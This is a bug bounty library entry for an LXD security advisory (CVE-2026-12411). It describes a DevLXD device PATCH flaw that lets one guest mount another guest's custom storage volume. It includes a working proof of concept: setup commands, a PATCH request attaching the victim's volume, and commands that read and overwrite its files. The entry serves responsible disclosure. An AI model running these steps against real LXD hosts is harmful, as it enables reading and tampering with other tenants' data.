# lxd allows Cross-guest volume hijack via DevLXD device patch

DevLXD device PATCH attaches any custom volume by name without ownership check, letting one guest read/write another guest's volume data.

- Payout: Research
- Severity: high
- Program: LXD
- Found by: larrasket
- Disclosed: 2026-11-05
- CVE: CVE-2026-12411
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hhf9-qw4v-72xp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hhf9-qw4v-72xp
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** DevLXD unix socket API (/dev/lxd/sock) instance device PATCH handler
**Root cause:** The device-attach path only validates device shape via IsCustomVolumeDisk (type/source/pool) and never loads the volume or compares volatile.devlxd.owner to the caller, unlike the storage handlers which enforce isDevLXDVolumeOwner.
**Steps:**
1. Enable security.devlxd=true and security.devlxd.management.volumes=true on two guests guesta/guestb, each with a DevLXD identity scoped to edit only its own instance.
2. guesta: `POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'` then attach via `PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'` and write a secret file.
3. guestb: `GET /1.0/storage-pools/default/volumes/custom/vola` returns HTTP 404 (ownership enforced on storage API).
4. guestb: `PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}'` returns HTTP 200.
5. guestb reads `/mnt/stolen/secret.txt` and writes into the volume; `volatile.devlxd.owner` still names guesta.
**How found:** Code review: noticed storage handlers enforce isDevLXDVolumeOwner on GET/PUT/DELETE and copy sources, then traced devLXDInstancePatchHandler -> generateDevLXDInstanceDevices and found the only gate for new devices is isDeviceAccessible -> IsCustomVolumeDisk, which checks device shape only and never loads the volume or its owner.
**Exploitation:** Any guest with a normal DevLXD identity scoped to its own instance issues an in-process device PATCH naming a victim's volume; the handler sets volatile.<dev>.devlxd.owner to the attacker and calls instancePatch, which skips HTTP access handlers and only runs project quota checks, so LXD mounts the victim volume read-write. Unknown volume names are recoverable by probing (200 vs not-found).
**Insight:** When an API has per-object ownership checks, audit every alternate path that references the same object (device attach, copy source, in-process internal calls that skip HTTP access handlers) — internal PATCH paths bypassing the router's authorization are a recurring gap.

## Proof of concept (copied exactly from the original report)

**Guest B attaches guest A's volume via PATCH**

```
devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}'   # HTTP 200

lxc exec guestb -- cat /mnt/stolen/secret.txt                       
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'
```

**Guest A creates and populates owned volume**

```
devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'
```

**Host setup: two guests and DevLXD identities**

```
lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl

for g in a b; do
  lxc auth identity create devlxd/id$g
  lxc auth group create g$g
  lxc auth group permission add g$g project default can_view
  lxc auth group permission add g$g project default can_view_storage_volumes
  lxc auth group permission add g$g project default can_create_storage_volumes
  lxc auth group permission add g$g instance guest$g can_view project=default
  lxc auth group permission add g$g instance guest$g can_edit project=default
  lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)
```

